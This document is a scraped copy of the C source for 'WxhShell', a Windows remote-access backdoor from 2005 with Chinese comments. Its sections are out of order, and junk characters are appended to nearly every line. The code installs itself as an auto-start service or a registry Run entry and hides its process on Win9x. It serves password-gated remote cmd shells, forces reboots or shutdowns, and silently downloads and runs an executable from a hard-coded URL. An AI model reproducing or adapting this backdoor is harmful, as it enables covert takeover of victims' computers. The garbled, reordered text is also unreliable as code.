    if(Boot(SHUTDOWN)) H@-txO1`::  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c%?31 t  
    else { P|0dZHpT  
    closesocket(wsh); p= fj1*  
    ExitThread(0); i\h"N K  
    } HV*D l$  
    break; SK6?;_  
    } F},#%_4  
  // 获取shell  M{!Y   
  case 's': { J #ukH`|-  
    CmdShell(wsh); 9YMD[H\}V  
    closesocket(wsh); bQTkW<7gh  
    ExitThread(0); /"Z6\T9  
    break; __B`0t  
  } 6!QY)H^j9,  
  // 退出 ( vO\h8  
  case 'x': { 4y: pj7h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2cnyq$4k  
    CloseIt(wsh); \ytF@"7  
    break; 6}q8%[l|  
    } a;GuFnfn,  
  // 离开 7{"urs7 T  
  case 'q': { uT\|jv,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xc>M_%+ R  
    closesocket(wsh); _"4u?C#  
    WSACleanup(); +VE ] .*T  
    exit(1); r2h{#2  
    break; R&v V! d  
        } 2:8p>^g=  
  } @7}]\}SR  
  } 9/yE\p .  
d?9b6k?  
  // 提示信息 h<1pGQV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y;$ !J  
} CogN1,GJ  
  } ` !um )4  
o*r 2T4 8  
  return; ]YF_c,Q  
} X5Fi , /H  
'zUWO_(  
// shell模块句柄 Cih~cwE  
int CmdShell(SOCKET sock) rBLcj;,  
{ cYeC7l "  
STARTUPINFO si; eX 0due  
ZeroMemory(&si,sizeof(si)); A,u}p rwH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H,Y+n)5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G+S MH`h  
PROCESS_INFORMATION ProcessInfo; # fe%E.  
char cmdline[]="cmd"; ^U8^P]{R|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M hwuh`v%  
  return 0; 5ltrr(MeD  
} wk@S+Q  
23iMG]J&  
// 自身启动模式 q+J;^u"E  
int StartFromService(void) zm{U.Q  
{ ^C|N  
typedef struct k^i\<@v  
{ YqEB%Y~N+  
  DWORD ExitStatus; R2Y.s^  
  DWORD PebBaseAddress; -~rZ| W~v  
  DWORD AffinityMask; vMHJgpd&j  
  DWORD BasePriority; sI OT6L^7  
  ULONG UniqueProcessId; X$0&tmum  
  ULONG InheritedFromUniqueProcessId; [AA*B  
}   PROCESS_BASIC_INFORMATION; cvk$ I"q+  
TGSkJ 1Lx  
PROCNTQSIP NtQueryInformationProcess; ?]]7PEee*  
2zlBrjk;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,| Zkpn8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fgW>~m.W  
Yp@i{$IUW  
  HANDLE             hProcess; `iQ9 9  
  PROCESS_BASIC_INFORMATION pbi; [+2iwfD  
M/LC:,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5<RZ ht$i  
  if(NULL == hInst ) return 0; Fu$JI8  
huTWoMU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n]< >$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~6!TMVr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5f- eWW]!  
tXg>R _\C  
  if (!NtQueryInformationProcess) return 0; L Rn)  
p3W-*lE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |qq7vx  
  if(!hProcess) return 0; Js0hlWu  
"74Rn"d5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3o.9}`/  
i[N=.  
  CloseHandle(hProcess); ]N4?*S*jd)  
JIh:IR(ta  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RbN# dI'  
if(hProcess==NULL) return 0; 9J(jbJ7p  
Pq<]`9/w^w  
HMODULE hMod; )ePQN~#K}  
char procName[255]; lG/h[  
unsigned long cbNeeded; e:T8={LU2W  
CGCI3Z'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gi 7p`F.  
LO@='}D=  
  CloseHandle(hProcess); CS\T@)@t  
3j} @}2D  
if(strstr(procName,"services")) return 1; // 以服务启动 J5j3#2l  
nm{J  
  return 0; // 注册表启动 ;+NU;f/WM  
} fZNWJo# `.  
%VsIg  
// 主模块 NA-)7i*>J  
int StartWxhshell(LPSTR lpCmdLine) {[Z}<#n)  
{ 2J1YrHj3  
  SOCKET wsl; G5hh$Nmpi  
BOOL val=TRUE; eW/sP Q-  
  int port=0; n/vKxtW  
  struct sockaddr_in door; 6U?z  
grbUR)f<?-  
  if(wscfg.ws_autoins) Install(); fb;y*-?#  
K)_DaTmi)  
port=atoi(lpCmdLine); j3_vh<U\  
/{sFrEMP\  
if(port<=0) port=wscfg.ws_port; n*nsFvt%o  
 WgayH  
  WSADATA data; xwe^_7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b.lK0 Xo  
mZ! 1Vh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    M_ii  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4PDxmH]y  
  door.sin_family = AF_INET; -j"]1JLQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r{ }&* Y  
  door.sin_port = htons(port); %DIZgPd\  
jFPD SR5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "inXHxqu/J  
closesocket(wsl); :+Okv$v4  
return 1; k:sFI @g  
} (N/KP+J$n  
SXF~>|h5<  
  if(listen(wsl,2) == INVALID_SOCKET) { e>~7RN  
closesocket(wsl); Puodsd  
return 1; @p$$BUb  
} v#`7,::  
  Wxhshell(wsl); n04lTME  
  WSACleanup(); A.>L>uR  
fXfO9{E  
return 0; l6z}D; 4  
{wy#HYhv  
} \`N<0COP  
c@<vFoq  
// 以NT服务方式启动 _X"G(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y2 QX9RN  
{ 04}" n  
DWORD   status = 0; )D>= \ Me  
  DWORD   specificError = 0xfffffff; *wNO3tP't  
Di>B:=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /+g)J0u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lcow2 SbH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A{,ZfX;SPO  
  serviceStatus.dwWin32ExitCode     = 0; ~3r}6,%  
  serviceStatus.dwServiceSpecificExitCode = 0; #24 eogo~  
  serviceStatus.dwCheckPoint       = 0; ;:#g\|(<+  
  serviceStatus.dwWaitHint       = 0; p*OpO&oodu  
k%2Rv4)hU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #dEMjD  
  if (hServiceStatusHandle==0) return; &* 1iW(x  
GAY f.L"  
status = GetLastError(); l?J|Ip2W  
  if (status!=NO_ERROR) WIkr0k  
{ D N#OLk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZGZ+BOFL  
    serviceStatus.dwCheckPoint       = 0; eR*y<K(d  
    serviceStatus.dwWaitHint       = 0; Aat-938FP6  
    serviceStatus.dwWin32ExitCode     = status; #s]'2O  
    serviceStatus.dwServiceSpecificExitCode = specificError; %K7wScz7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X$(Dem  
    return; +#=l{_Z,ZJ  
  } $Q'S8TU  
p|,3X*-ynx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nQ}$jOU &  
  serviceStatus.dwCheckPoint       = 0; rUOl+p_47  
  serviceStatus.dwWaitHint       = 0;  *CS2ndp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y}UVC|Ef  
} M,(UCyT  
V<W$ h`  
// 处理NT服务事件,比如:启动、停止 nr>Os@\BU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @?YO_</  
{ u>-pg u  
switch(fdwControl) 2B`#c}PP  
{ 6&KvT2?tA`  
case SERVICE_CONTROL_STOP: j]5mzz~  
  serviceStatus.dwWin32ExitCode = 0; 1$1[6 \3v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 22_%u=p-|  
  serviceStatus.dwCheckPoint   = 0; hUO&rov3@  
  serviceStatus.dwWaitHint     = 0; +:jx{*}jo  
  { 3Lw&HtH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ro`2IE>  
  } -lDAxp6p  
  return; uqFYa bU  
case SERVICE_CONTROL_PAUSE: bz4TbGg]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {j!+\neL  
  break; qrxn%#\XP  
case SERVICE_CONTROL_CONTINUE: /lqVMlz\77  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n,vs(ZL:  
  break; ?X5Y8n]y\h  
case SERVICE_CONTROL_INTERROGATE: }=T=Z#OgH  
  break; b<1+q{0r  
}; IyJHKDFk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nlsif  
} ~]LkQQ'  
gt Vnn]Jh  
// 标准应用程序主函数 6tKCY(#oO+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >jH%n(TcC  
{ h-+GS%  
~f5g\n;  
// 获取操作系统版本 E Zh.*u@^r  
OsIsNt=GetOsVer(); #BLmT-cl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 75?z" i  
H\!p%Y  
  // 从命令行安装 ~P;KO40K  
  if(strpbrk(lpCmdLine,"iI")) Install(); P<s 0f:".  
zvAUF8'_  
  // 下载执行文件 SG@-b(  
if(wscfg.ws_downexe) { 5zk^zn)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H4{CiZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); -H-:b7  
}  tQSJ"Q  
*uG!U%jY)  
if(!OsIsNt) { eemw I  
// 如果时win9x,隐藏进程并且设置为注册表启动 D_2~ 6  
HideProc(); R m^$Dn  
StartWxhshell(lpCmdLine); 5@&{%99  
} JT(6Uf  
else }X?M6;$)  
  if(StartFromService()) 'wm :Xa  
  // 以服务方式启动 M`u&-6  
  StartServiceCtrlDispatcher(DispatchTable); op5G}QZ  
else !eE;MaS>  
  // 普通方式启动 ?vn9HhTD  
  StartWxhshell(lpCmdLine); U?.cbB,  
Oll,;{<O  
return 0; TP R$oO2  
} _G0_<WH6  
!${7)=|=1  
!]*Cwbh. u  
uzgQ_  
=========================================== JDp{d c  
yMVlTO  
#|R#/Yc@Bv  
kACgP!~/1  
qGVf! R  
mJN*DP{  
" /|MHZ$Y9w?  
t]14bf$*Q  
#include <stdio.h> IF~E;  
#include <string.h> ZlG|U]mM5  
#include <windows.h> Ef~Ar@4fA  
#include <winsock2.h> 6>=yX6U1q^  
#include <winsvc.h> fWk,k*Z 9  
#include <urlmon.h> ta+MH,  
nkTpUbS'f?  
#pragma comment (lib, "Ws2_32.lib") u(W+hdTap=  
#pragma comment (lib, "urlmon.lib") wY'w'%A?  
2>+(OL4l  
#define MAX_USER   100 // 最大客户端连接数 1XXuFa&  
#define BUF_SOCK   200 // sock buffer uw>O|&!  
#define KEY_BUFF   255 // 输入 buffer e !2SO*O  
orON)S ks  
#define REBOOT     0   // 重启 qSA]61U&  
#define SHUTDOWN   1   // 关机 l.nd Wv  
o7i>D6^^  
#define DEF_PORT   5000 // 监听端口 5x?YFq6k  
/?*GJN#  
#define REG_LEN     16   // 注册表键长度 dYxX%"J  
#define SVC_LEN     80   // NT服务名长度 O3KTKL]  
-g\;B  
// 从dll定义API s{9 G//  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CR8szMa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eEl71  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BL[N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CFTw=b@  
oT0TbZu%  
// wxhshell配置信息 Cno+rmsfT  
struct WSCFG { 1W r,E#+C  
  int ws_port;         // 监听端口 Nbvs_>N   
  char ws_passstr[REG_LEN]; // 口令 |w].*c}Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no #T3dfVWv  
  char ws_regname[REG_LEN]; // 注册表键名 cKED RX3  
  char ws_svcname[REG_LEN]; // 服务名 J5Ovj,[EZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M~ eXC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aM7=>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s~'"&0Gz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r\T'_wo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /nWBol,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SUC'o"  
fvBL? x  
}; f"RS,]  
4..M *U  
// default Wxhshell configuration [JVEKc ym  
struct WSCFG wscfg={DEF_PORT, !*e1F9k  
    "xuhuanlingzhe", c4V%>A  
    1, iz%wozf  
    "Wxhshell", =JNCQu  
    "Wxhshell", LE}V{%)xD  
            "WxhShell Service", h<<uef9  
    "Wrsky Windows CmdShell Service", '4ip~>3?w  
    "Please Input Your Password: ", L6x;<gj  
  1, )lZoXt_3  
  "http://www.wrsky.com/wxhshell.exe", Rn$[P.||  
  "Wxhshell.exe" {&ykpu090  
    }; of=N+ W  
Mj6 0?k  
// 消息定义模块 MAQ(PIc>T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JnIE6@g<y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `n?Rxhkwp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z50P* eS  
char *msg_ws_ext="\n\rExit."; 2!Qg1hM  
char *msg_ws_end="\n\rQuit."; Xti.yQx\  
char *msg_ws_boot="\n\rReboot..."; rU9z? (  
char *msg_ws_poff="\n\rShutdown..."; ["^? vhv  
char *msg_ws_down="\n\rSave to "; $uUR@l  
\2))c@@%  
char *msg_ws_err="\n\rErr!"; \,S4-~(:!  
char *msg_ws_ok="\n\rOK!"; /b7]NC%  
92x)Pc^D  
char ExeFile[MAX_PATH]; SA?lDRF  
int nUser = 0; PH$C."Vv  
HANDLE handles[MAX_USER]; U'aJCM  
int OsIsNt; = glF6a  
V}X>~ '%  
SERVICE_STATUS       serviceStatus; *3\*GatJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =Hbf()cN)  
*7o@HBbF  
// 函数声明 [\3W_jR  
int Install(void); |Kb m74Z%  
int Uninstall(void); _9C,N2a{C  
int DownloadFile(char *sURL, SOCKET wsh); UvR.?js(O  
int Boot(int flag); sBk|KG  
void HideProc(void); 7 !dj&?  
int GetOsVer(void); m6uFmU*<M}  
int Wxhshell(SOCKET wsl); $0Ys{m  
void TalkWithClient(void *cs); \`;1[m  
int CmdShell(SOCKET sock); ;,/4Ry22j-  
int StartFromService(void); 0^vz /y1c  
int StartWxhshell(LPSTR lpCmdLine); Lpohc4d[V  
*,|x p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zY9CoadZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hdeI/4 B  
`ZU]eAV  
// 数据结构和表定义 iNr&;  
SERVICE_TABLE_ENTRY DispatchTable[] = ,N1pww?  
{ E7q,6f3@r  
{wscfg.ws_svcname, NTServiceMain}, H<3:1*E  
{NULL, NULL} K0~=9/  
}; ^8KxU  
 SQ&}18Z~  
// 自我安装 iU RSYR  
int Install(void) m Uy>w  
{ OS-k_l L  
  char svExeFile[MAX_PATH]; `S+n,,l  
  HKEY key; iJH?Z,Tjf  
  strcpy(svExeFile,ExeFile); g/frg(KF  
;nrkC\SYh:  
// 如果是win9x系统,修改注册表设为自启动 t$ 97[ay  
if(!OsIsNt) { *q"1I9zvT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G.r .Z0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K~4bT=   
  RegCloseKey(key); + }$(j#h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0V?7'Em  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U1`pY:P  
  RegCloseKey(key); MOPHu O{^  
  return 0;  ~)F_FS  
    } osc A\r  
  } fZoQQ[s  
} n-g#nEc:  
else { _Wq;bKG  
31\mF\{V  
// 如果是NT以上系统,安装为系统服务 Z;S)GUG^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "~S2XcR[ E  
if (schSCManager!=0) 0{ _6le]  
{ 'P*OzZ4>$  
  SC_HANDLE schService = CreateService A'$>~Ev  
  ( YC$>D? FW  
  schSCManager, hXvC>ie(i  
  wscfg.ws_svcname, !1%Sf.`!_  
  wscfg.ws_svcdisp, U&43/;<,  
  SERVICE_ALL_ACCESS, #l h' !  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ayh235>a(  
  SERVICE_AUTO_START, \TYVAt] ?  
  SERVICE_ERROR_NORMAL, 1:Ff#Eq,s  
  svExeFile, Nv|0Z'M  
  NULL, QeN7~ J  
  NULL, Q~/=p>=uu  
  NULL, 4T$DQK@e  
  NULL, R#i`H(N  
  NULL RP^vx`9h  
  ); c[T@lz(!  
  if (schService!=0) 6Eus_aP  
  { scTt53v^  
  CloseServiceHandle(schService); o^'QGs "  
  CloseServiceHandle(schSCManager); :Gzp (@<@e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2R ^6L@fw  
  strcat(svExeFile,wscfg.ws_svcname); u{w,y.l1h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F(ZczwvR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >vR2K^  
  RegCloseKey(key); {;m|\652B  
  return 0; u%6b|M@P  
    } t BG 9Mn  
  } ;JMmr-@  
  CloseServiceHandle(schSCManager); cnRgzj<ek  
} fdHFSnQ g  
} ~]`U)Aw  
d(:I~m  
return 1; m>3\1`ZF~<  
} o?c NH  
vR>GE? s6  
// 自我卸载 lauq(aD_C  
int Uninstall(void) u#`51Hr$  
{ <>Ha<4A =E  
  HKEY key; =(Y0wZP|  
jW4>WDN:  
if(!OsIsNt) { 5y] %Cu1.u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MttFB;Tp  
  RegDeleteValue(key,wscfg.ws_regname); %mD{rG9  
  RegCloseKey(key); Gd'_X D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K r<UPr  
  RegDeleteValue(key,wscfg.ws_regname); LPZ\T} <l  
  RegCloseKey(key); =6f)sZpPh  
  return 0; 6__HqBQ  
  } ^t*Ba>A  
} 1*'gaa&y  
} 9g'6zB  
else { (i?9/8I  
9Zmq7a E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |7Ab_  
if (schSCManager!=0) 9]lyV  
{ A_e5Vb ,u.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EcSu[b  
  if (schService!=0) 3xKgj5M  
  { [0]J 2  
  if(DeleteService(schService)!=0) { 'm"Ez'sS  
  CloseServiceHandle(schService); a#x@ e?GvI  
  CloseServiceHandle(schSCManager);  DO9K  
  return 0; f"NWv!  
  } SG1AYUs V  
  CloseServiceHandle(schService); 9qB4\ONXZ  
  } 1C]BaPbL  
  CloseServiceHandle(schSCManager);  p: eaZ  
} B/^o$i  
} H0yM`7[y  
e 'F:LMX  
return 1; sY?wQ:  
} c/:k|x  
ZG{#CC=  
// 从指定url下载文件 O3%#Q3c>3  
int DownloadFile(char *sURL, SOCKET wsh) fZLAZMrM  
{ 8<32(D{  
  HRESULT hr; E1`_[=8a9  
char seps[]= "/"; R~|(]#com  
char *token; ${}9/(x/^  
char *file; 2- (}=N  
char myURL[MAX_PATH];  B@*!>R  
char myFILE[MAX_PATH]; :#{0yno)H  
Iz;^D!  
strcpy(myURL,sURL); Q`Q"p  
  token=strtok(myURL,seps); `*`ZgTV  
  while(token!=NULL) #l.s> B4  
  { OECVExb@eH  
    file=token; {x[C\vZsi]  
  token=strtok(NULL,seps); 4x?I,cAN  
  } ~2yhZ  
Fu\#:+5\  
GetCurrentDirectory(MAX_PATH,myFILE); -V[!qI  
strcat(myFILE, "\\"); fY #Yn  
strcat(myFILE, file); JsMN_%y?  
  send(wsh,myFILE,strlen(myFILE),0); }jU)s{>fb  
send(wsh,"...",3,0); .cx9+;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }odjaM}5Nc  
  if(hr==S_OK) TDWD8??e  
return 0; s8qpK; O  
else %K7;ePu  
return 1; Z!jJ93A"  
@xso{$z?j  
} eb6y-TwY  
{ot6ssT=D  
// 系统电源模块 ~?)y'?  
int Boot(int flag) AMO{ee7Po  
{ L|1~'Fz#w  
  HANDLE hToken; tL1\q Qg  
  TOKEN_PRIVILEGES tkp; [Ls%nz|  
/TIt-c  
  if(OsIsNt) { t("koA=.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '?fGI3b~/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (v:8p!QN  
    tkp.PrivilegeCount = 1; "{3|(Qs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PI,2b(`h_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =4U$9jo!;  
if(flag==REBOOT) { ,JTyOBB<I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'aEN(Mdz1e  
  return 0; \_i22/Et  
} BO6XY90(  
else { i }Zz[b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E @Rb+8},"  
  return 0; U!RIeC  
} a5d_= :S ;  
  } TV0Y{x*~iH  
  else { PGVp1TQ  
if(flag==REBOOT) { oR7f3';?6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  Bs>S2]  
  return 0; PlgpH'z4$  
} ljz=u;O)  
else { EU'rdG*t/R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k)y<iHR_o  
  return 0; A1z<2.R  
} Y$j !-l5z  
} hewc5vrL  
P=9UK`n  
return 1; &zVXd  
} IlI5xkJ(  
Mii&doU  
// win9x进程隐藏模块 9#~jlq(  
void HideProc(void) Y`6<:8[?  
{ Gc5mR9pV   
V>UlL&V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YhooD,[.  
  if ( hKernel != NULL ) h gwS_L  
  { HW'I$ .  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ' dv(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s.KfMJ"u[  
    FreeLibrary(hKernel); vkM_a}%<  
  } Rt5Xqz\6i  
>%n6n! "  
return; n* .<L  
} /5 OQ0{8p  
YdB/s1|G  
// 获取操作系统版本 MI.OOoP3a  
int GetOsVer(void) o$7UWKW8  
{ p!<PRms@  
  OSVERSIONINFO winfo; o>m*e7l,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kKDf%=  
  GetVersionEx(&winfo); f3h]t0M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~*~aFf5  
  return 1; {W%XS E  
  else S T4[d'|j  
  return 0; q%)."10}]  
} c`\qupnY  
_=cuOo"!  
// 客户端句柄模块 ld5+/"$  
int Wxhshell(SOCKET wsl) A,7* 52U  
{ tZ*>S]qD  
  SOCKET wsh; ^(BE_<~  
  struct sockaddr_in client; w7\ \m9  
  DWORD myID; e. E$Ej]w  
`nc=@" 1  
  while(nUser<MAX_USER) V~Jt  
{  _BCq9/  
  int nSize=sizeof(client); ws U@hqS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %xp 69  
  if(wsh==INVALID_SOCKET) return 1; 3b`#)y^y?%  
b/E3Kse?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |F qujZz  
if(handles[nUser]==0) SxkY ;^-U  
  closesocket(wsh); (tiE%nF+  
else i|S/g.r  
  nUser++; "od 2i\  
  } tQTjqy{K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {T0Au{88H  
H#T&7X_<  
  return 0; gTd r  
} c68,,rJO]i  
y6H`FFqK  
// 关闭 socket Su+[Q6oC@  
void CloseIt(SOCKET wsh) m;U_oxb  
{ ZJ/K MW  
closesocket(wsh); Nkn2\ w  
nUser--; #TB 3|=  
ExitThread(0); e=_Ng j)  
} pTH5-l_f ]  
:g+ wv}z  
// 客户端请求句柄 s;[WN.  
void TalkWithClient(void *cs) L9!\\U  
{ DIkf#}  
? 0:=+%.  
  SOCKET wsh=(SOCKET)cs; L3s"L.G  
  char pwd[SVC_LEN]; d9l2mJzW  
  char cmd[KEY_BUFF]; bu=RU  
char chr[1]; vu:] [2"0  
int i,j; m.lzkS]P  
"}S6a?]V  
  while (nUser < MAX_USER) { !';;q  
Z ?F_({im  
if(wscfg.ws_passstr) { ,Z8)DC=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \]3[Xw-$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  LYyud  
  //ZeroMemory(pwd,KEY_BUFF); &fE2zTz  
      i=0; %kP=VUXj  
  while(i<SVC_LEN) { F><ficT  
CbOCL~ "  
  // 设置超时 x X.{(er  
  fd_set FdRead; s'BlFB n  
  struct timeval TimeOut; w/9%C(w6  
  FD_ZERO(&FdRead); K.b :ae^k  
  FD_SET(wsh,&FdRead); j?\z5i""f  
  TimeOut.tv_sec=8; NC sem  
  TimeOut.tv_usec=0; #1WCSLvtV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E9' 2_e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z00,Vr^m  
~{pds  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "kjSg7m*:  
  pwd=chr[0]; l]~IZTC  
  if(chr[0]==0xd || chr[0]==0xa) { :*YnH&  
  pwd=0; n(sseQ|\  
  break; )G*xI`(@  
  } 1I40N[PE)  
  i++; bYr*rEcA  
    } X,}(MW  
Q!r` G  
  // 如果是非法用户,关闭 socket Zb:Z,O(vn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jVqpokWH  
} COHook(:  
/-+hMYe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7j88^59  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z,V<&9a;  
K87yQOjPv  
while(1) { F?qg?1v B|  
s(r4m/  
  ZeroMemory(cmd,KEY_BUFF); KxWm63"  
*JZlG%z  
      // 自动支持客户端 telnet标准   vx}BT H  
  j=0; >Sb3]$$  
  while(j<KEY_BUFF) { }hcY5E-n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o4agaA3k  
  cmd[j]=chr[0]; $weC '-n@  
  if(chr[0]==0xa || chr[0]==0xd) { vhDtjf/*  
  cmd[j]=0; M(n@ytz  
  break; MSB/O.  
  } p =-~qBw  
  j++; IsDwa qd|  
    } kM(m$Oo.  
)4> 7X)j>  
  // 下载文件 ARG8\qU  
  if(strstr(cmd,"http://")) { S 8)!70  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P(a}OlG  
  if(DownloadFile(cmd,wsh)) 5qFHy[I A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcE4r>8B  
  else |7${E^u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #aiI]'  
  } _hMFmI=r[  
  else { !7p&n3dz  
R iFUa $  
    switch(cmd[0]) { T`9nY!  
  6h0}ZM  
  // 帮助 %pqB/  
  case '?': { Zay%QNsb  
